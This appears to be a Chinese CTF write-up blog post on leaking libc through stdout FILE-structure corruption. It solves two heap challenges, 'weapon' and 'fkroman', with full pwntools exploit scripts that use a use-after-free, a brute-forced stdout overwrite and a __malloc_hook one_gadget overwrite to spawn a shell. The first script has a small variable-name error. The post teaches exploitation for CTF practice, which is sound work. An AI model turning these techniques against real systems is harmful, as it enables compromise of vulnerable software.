IO_FILE泄露libc地址

字数统计: 2.6k字   |   阅读时长≈ 11分

IO 攻击除了利用 stdin 来getshell，还可以利用 stdout 来泄露 libc 地址。然后本文主要学习一下这种泄露方式。

原理

puts 函数在源码中是由 _IO_puts 实现，而 _IO_puts 函数内部会调用 _IO_sputn，结果会执行 _IO_new_file_xsputn，最终会执行 _IO_overflow

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
int 
_IO_new_file_overflow (_IO_FILE *f, int ch) 
{  
    if (f->_flags & _IO_NO_WRITES) /* SET ERROR */    
    {//避免进入      
     	f->_flags |= _IO_ERR_SEEN;      
     	__set_errno (EBADF);      
     	return EOF;    
    }  
    /* If currently reading or no buffer allocated. */  
    if ((f->_flags & _IO_CURRENTLY_PUTTING) == 0 || f->_IO_write_base == NULL){ 
    	......//避免进入    
    	......    
		}  
	if (ch == EOF)    
    	return _IO_do_write (f, f->_IO_write_base, 
                             f->_IO_write_ptr - f->_IO_write_base); //进入目标  
    
    if (f->_IO_write_ptr == f->_IO_buf_end ) /* Buffer is really full */    
    	if (_IO_do_flush (f) == EOF)      
        	return EOF;  
     *f->_IO_write_ptr++ = ch;  
     if ((f->_flags & _IO_UNBUFFERED)      
         || ((f->_flags & _IO_LINE_BUF) && ch == '\n'))    
        if (_IO_do_write (f, f->_IO_write_base,             
                          f->_IO_write_ptr - f->_IO_write_base) == EOF) 
        	return EOF;  
      return (unsigned char) ch; 
}

我们的目标是 成功进入 _IO_do_write 函数，而 _IO_wirte_base 是我们要修改的目标。

为了不进入第一个 if 分支，这里 f->_flag & _IO_NO_WRITES 的值应该为 0。

同时使 f->_flag & _IO_CURRENTLY_PUTTING 的值为1，防止进入第二个分支。

_IO_do_write 函数的参数为：stdout 结构体、_IO_write_base 和 size（由 f->_IO_wirte_ptr - f->_IO_write_base产生），而 _IO_do_write 实际会调用 new_do_write, 其参数一致。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
static
_IO_size_t
new_do_write (_IO_FILE *fp, const char *data, _IO_size_t to_do)
{
  ...
  _IO_size_t count;
  if (fp->_flags & _IO_IS_APPENDING)
    fp->_offset = _IO_pos_BAD;
  else if (fp->_IO_read_end != fp->_IO_write_base)
    {
      _IO_off64_t new_pos
    = _IO_SYSSEEK (fp, fp->_IO_write_base - fp->_IO_read_end, 1);
      if (new_pos == _IO_pos_BAD)
    return 0;
      fp->_offset = new_pos;
    }
  // 调用函数输出输出缓冲区
  count = _IO_SYSWRITE (fp, data, to_do); //最终输出 
  ...

  return count;
}

_IO_SYSWRITE 就是最重要调用的函数，可理解为 write(fp, data, to_do)

_IO_SYSSEEK 只是简单的调用 lseek，但是不能完全控制 fp->_IO_write_base - fp->_IO_read_end 的值，如果 fp-> _IO_read_end 的值设为 0，那么_IO_SYSSEEK 的第二个参数就会过大，如果设置 fp->_IO_write_base = fp->_IO_read_end 的话，会在其他函数中产生错误，因为fp->_IO_write_base 不能大于 fp->_IO_write_end。所以这里要设置 fp->_flags | _IO_IS_APPENDING，避免进入 else if 分支。

最终需要构造的 fp->flags 是这样，才能绕过上面提到的分支。

1
2
3
4
_flags = 0xfbad0000 
_flags &= ~_IO_NO_WRITES ## _flags = 0xfbad0000 
_flags |= _IO_CURRENTLY_PUTTING ## _flags = 0xfbad0800
_flags |= _IO_IS_APPENDING ## _flags = 0xfbad1800

所以，通常将 stdout 的 flags 修改成 0xfbad18000，将 _IO_write_base 改小，就可以在成 Libc 的泄露。

De1CTF weapon

程序分析

image-20200831102846716

程序存在一个 UAF漏洞，没有输出函数。申请的堆块大小只能为 0到 0x60之间。

同时保护全开，不能够直接覆盖 got表 去 getshell。这里就需要考虑使用 stdout 来泄露 Libc地址。

利用分析

由于这里开启了PIE，我们想要修改 IO_FILE_stdout 结构体是不知道位置的。但是这里可以利用 unsortedbin 的 fd 和 bk 会存储的 main_arena+88 的地址，这个地址与 _IO_FILE_stdout 的地址相差不大，我们可以爆破尝试修改。将 Main_arena+88 的后两字节修改为 _IO_FILE_stdout 前符合一个 堆块 size 的地址，这里选用的 size 为 0x7f(该地址在内存比较常见)，然后在 _IO_FILE_stdout 上分配 fake chunk。

然后修改 _IO_FILE_stdout 来输出 libc 地址。

最后修改 malloc_hook 来 getshell。

*重点：在于首先如何构造一个 unsortedbin *

可以利用 UAF 漏洞的 chunk overlaping 来修改后一个 chunk 的 size，使得其 size 大于 fastbin 的范围，然后释放该 chunk 即可将其放入 unsortedbin 中。

然后利用 UAF 漏洞，修改 该chunk 的 bk指针 ，使我们的chunk 分配到 _IO_FILE_stdout 结构体上。

image-20200831110537486

image-20200831110605633

EXP

1.伪造 unsortedbin chunk

首先为了如果要释放 fast chunk 到 unsrotedbin 中，我们需要有一个堆溢出，能修改 chunk size 大于 0x90。

我们可以首先通过 释放两个 fastchunk，然后第二次 free chunk 的 fd 指针的最后一位为 0x10，那么就可以 实现一个 伪造fastbin到 0x10地址处。

然后刚好伪造的堆块，可以修改 下一个堆块的头部，实现了 修改 chunk size。

如下图第2次 红框所示。

然后，这里需要注意由于我们只能申请 最大0x60 大小的 堆块，所以我们需要将该 堆块释放到 fastbin 中。然后再修改该堆块的chunk size为 0x91，然后再次释放该堆块，将该堆块释放到 unsortedbin中。

如下图第3 和 第4次红框所示。

此时该堆块的 fd 和 bk 指针就已经全是 main_arena+88 的地址，然后我们在修改 fd中的后两位为 ‘\xdd\x25’，就有可能实现伪造堆块到 stdout 结构体。

注意，当我们将 chunk size改为 0x91时，需要保证 其后一个堆块的头部，刚好为当前堆头-0x90的地址。所以我们再申请后一个堆块时，先要保证其往下偏移 0x20 的地址是我们伪造的 一个 chunk 头。

如下图第一个红框所示。

image-20200913104219204

2.修改stdout结构体

首先第一步需要修改 IO_2_1_stdout 结构体，我们利用 fake unsortedbin chunk来修改。

在 第一步中，我们伪造了一个 堆块 ，其后两位地址是 \xdd\25， 但是其倒数第3位地址由于是随机的，所以我们总共有 1/16 的机会 将我们伪造的堆块刚好释放到 stdout 结构体中。

image-20200911223539969

如果一旦申请成功，就需要按照上述的 修改 stdout结构体，泄露 libc 地址。修改 flag 为 0xfbad18000 ， 将 _IO_write_base 改小 为 末尾一位 为 \x00 ，将 其改小。

image-20200913112321427

从下图可以看到 stdout结构体中： _IO_write_base 的地址是 0x7f2899002600

image-20200913113052637

我们泄露的数据如下，可以看到其中含有很多的 Libc 地址。我们减去偏移，即可得 libc 基址。

image-20200913113357841

3.修改 malloc_hook

泄露了 Libc 地址，我们就能够得到 malloc_hook 的地址了，然后我们就可以伪造堆块释放到 malloc_hook 之前，然后修改 malloc_hook 为 one_gadget

首先我们选择 malloc_hook 前面一个 0x7f 的地址作为 fake chunk size，我们可以看到下图中在 malloc_hook - 0x23 的位置有一个 0x7f，我们可以选择这里

image-20200913141908494

然后就是修改 fastbin chunk 的 fd 指针只想这里，再分配就行：

image-20200913152746321

4.getshell

最后，只需要再执行堆分配函数，就可以getshell

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
from pwn import *
context.update(arch='amd64', os='linux', log_level='debug')

debug = 1
if debug == 1:
	p = process('./pwn')
	libc = ELF('libc.so.6')
else:
	elf = ELF('./pwn')

gadgets = [0x45226,0x4527a,0xf0364,0xf1207]

def add(idx, size, content):
    p.sendlineafter('choice >> ', str(1))
    p.sendlineafter('wlecome input your size of weapon: ', str(size))
    p.sendlineafter('input index: ', str(idx))
    p.sendafter('input your name:', content)


def delete(idx):
    p.sendlineafter('choice >> ', str(2))
    p.sendlineafter('input idx :', str(idx))    


def edit(idx, content):
    p.sendlineafter('choice >> ', str(3))
    p.sendlineafter('input idx: ', str(idx))
    p.sendafter('new content:', content)

def pwn():
	#fake unsortedbin chunk
	add(0, 0x60, p64(0)+p64(0x71))
	add(1, 0x60, 'Y0ung')
	add(2, 0x60, p64(0)*3+p64(0x51))

	delete(0)
	delete(1)
	edit(1, p8(0x10))
	#gdb.attach(p)
	add(3, 0x60, 'a')
	
	add(4, 0x60, p64(0)*0xb+p64(0x71))
	delete(1)

	edit(4, p64(0)*0xb+p64(0x91))
	delete(1)

	edit(3, '\xdd\x25')
	edit(4, p64(0)*0xb+p64(0x71))
	#gdb.attach(p)
	add(5, 0x60, 'a')
	#gdb.attach(p)
	add(6, 0x60, 'a'*0x33 + p64(0xfbad1800) + p64(0)*3 + '\x00')

	lib_addr = u64(p.recvuntil('\x7f')[-6:].ljust(8, '\x00'))
	print hex(lib_addr)
	stdout_addr = lib_addr + 32
	libc_base = stdout_addr - libc.sym['_IO_2_1_stdout_']
	print 'libc_base:',hex(libc_base)
	malloc_hook = libc_base + libc.sym['__malloc_hook']
	print 'malloc_hook:',hex(malloc_hook)
	fake_chunk = malloc_hook - 0x23
	print 'fake chunk:',hex(fake_chunk)
	gadget = gadgets[0] + libc_base

	gdb.attach(p)
	add(7,0x60,'a')
	delete(7)
	edit(7,p64(fake_chunk))
	add(7,0x60,'a')
	#gdb.attach(p)
	add(8,0x60,'b'*0x13 + p64(onegadget))
	p.interactive()
#pwn()
i = 0
while 1:
    i += 1
    log.warn(str(i))
    try:
        pwn()
    except Exception:
        p.close()
        p = process('./pwn')
        continue

数字经济云 fkroman

程序分析

image-20200913160307953

存在一个 UAF漏洞，同时程序开启了所有保护。

Alloc时对 size 没有限制。

image-20200913160408295

而且，edit 时可以输入新的 size，此处存在堆溢出漏洞。

image-20200913161314188

利用分析

  1. 首先利用UAF漏洞，实现伪造堆块到 stdout 结构体处

这里由于开启 了 PIE，没法直接获取到 stdout 的结构体的地址。仍然使用 main_arena+88 这个地址，将后两位修改为 \x25\xdd。有 1/16的机会 碰撞到stdout 结构体。

所以首先我们需要先 分配一个 大于 fastbin 的块，然后再切割该块，则该块和其剩下块的 fd 和 bk 指针都会存储 main_arena 数组内的地址。我们随后 释放该块，将该块 fd 指针的 后两位修改为 \x25\xdd:

1
2
3
4
5
6
7
8
9
10
#申请一个unsortedbin chunk
create(0, 0xe0)
create(1, 0x60)
create(2, 0x60)
#gdb.attach(p)
delete(0)
#切割 unsortedbin chunk
create(3, 0x60)
# 修改 fd 指针
edit(3, 2, '\xdd\x25')

然后我们不能直接 释放这个 fd 被修改的指针，因为释放后其 fd 指针会被清空。我们可以使用另一个被释放的块 修改其 fd 指针使其 指向 我们修改后的 chunk，这样就可以构造整个 fastbin链条：

1
2
3
4
5
6
7
chunk1:
	fd = main_arena\x25\xdd
chunk 2:
	fd = chunk1

fastbin:
	chunk2->chunk1->stdout
1
2
3
4
delete(1)
delete(2)
#将chunk2的 fd指针指向chunk1
edit(2, 1, '\x00')

2.随后修改 stdout 结构体

1
2
3
4
5
6
7
8
9
10
11
12
13
14
payload = 'a'*0x33 + p64(0xfbad1800) + p64(0)*3 + '\x00'
edit(6, len(payload), payload)

#gdb.attach(p)
libc_addr = u64(p.recvuntil("\x7f")[-6:].ljust(8,"\x00"))
stdout_addr = libc_addr + 0x20
libc_base = stdout_addr - libc.sym['_IO_2_1_stdout_']
malloc_hook = libc_base + libc.sym['__malloc_hook']
gadget = gadgets[1] + libc_base
fake_chunk = malloc_hook - 0x23
print 'libc_addr:',hex(libc_addr)
print 'libc_base:',hex(libc_base)
print 'gadget:',hex(gadget)
print 'malloc_hook:',hex(malloc_hook)

3.最终修改 malloc_hook 来 getshell

1
2
3
4
5
6
7
8
9
10
11
12
13
create(7, 0x60)
create(8, 0x60)
#gdb.attach(p)
delete(8)
payload = p64(fake_chunk)
edit(8, len(payload), payload)
create(9, 0x60)
create(10, 0x60)
payload = 'a'*0x13 + p64(gadget)
#gdb.attach(p)
edit(10, len(payload), payload)
create(11, 0x60)
p.interactive()

EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
from pwn import *
context.update(arch='amd64', os='linux', log_level = 'debug')

debug = 1
if debug == 1:
    p = process('./fkroman')
    elf = ELF('./fkroman')
    libc = ELF('./libc.so.6')
else:
    libc = ELF('libc.so.6')

gadgets = [0x45226,0x4527a,0xf0364,0xf1207]

def create(idx, size):
    p.recvuntil('Your choice:')
    p.sendline('1')
    p.recvuntil('Index: ')
    p.sendline(str(idx))
    p.recvuntil('Size: ')
    p.sendline(str(size))

def edit(idx, size, content):
    p.recvuntil('Your choice:')
    p.sendline('4')
    p.recvuntil('Index: ')
    p.sendline(str(idx))
    p.recvuntil('Size: ')
    p.sendline(str(size))
    p.recvuntil('Content: ')
    p.send(content)

def delete(idx):
    p.recvuntil('Your choice:')
    p.sendline('3')
    p.recvuntil('Index: ')
    p.sendline(str(idx))

def pwn():
    create(0, 0xe0)
    create(1, 0x60)
    create(2, 0x60)
    #gdb.attach(p)
    delete(0)
    create(3, 0x60)
    edit(3, 2, '\xdd\x25')
    delete(1)
    delete(2)
    edit(2, 1, '\x00')
    create(4, 0x60)
    create(5, 0x60)
    create(6, 0x60)
    #gdb.attach(p)
    payload = 'a'*0x33 + p64(0xfbad1800) + p64(0)*3 + '\x00'
    edit(6, len(payload), payload)
    
    #gdb.attach(p)
    libc_addr = u64(p.recvuntil("\x7f")[-6:].ljust(8,"\x00"))
    stdout_addr = libc_addr + 0x20
    libc_base = stdout_addr - libc.sym['_IO_2_1_stdout_']
    malloc_hook = libc_base + libc.sym['__malloc_hook']
    gadget = gadgets[1] + libc_base
    fake_chunk = malloc_hook - 0x23
    print 'libc_addr:',hex(libc_addr)
    print 'libc_base:',hex(libc_base)
    print 'gadget:',hex(gadget)
    print 'malloc_hook:',hex(malloc_hook)
    create(7, 0x60)
    create(8, 0x60)
    #gdb.attach(p)
    delete(8)
    payload = p64(fake_chunk)
    edit(8, len(payload), payload)
    create(9, 0x60)
    create(10, 0x60)
    payload = 'a'*0x13 + p64(gadget)
    #gdb.attach(p)
    edit(10, len(payload), payload)
    create(11, 0x60)
    p.interactive()


#pwn()
i = 0
while 1:
    i += 1
    log.warn(str(i))
    try:
        pwn()
    except Exception:
        p.close()
        p = process('./fkroman')
        continue
赏

只要你支持她，我们就是好朋友2333

支付宝
微信

扫一扫，分享到微信

tag:

    缺失模块。
    1、请确保node版本大于6.2
    2、在博客根目录（注意不是yilia-plus根目录）执行以下命令：
    npm i hexo-generator-json-content --save

    3、在根目录_config.yml里添加配置： 

      jsonContent:
    meta: false
    pages: false
    posts:
      title: true
      date: true
      path: true
      text: false
      raw: false
      content: false
      slug: false
      updated: false
      comments: false
      link: false
      permalink: false
      excerpt: false
      categories: false
      tags: true

主要研究：
二进制安全、漏洞挖掘
CTF菜鸡一只

天枢Dubhe 学习ing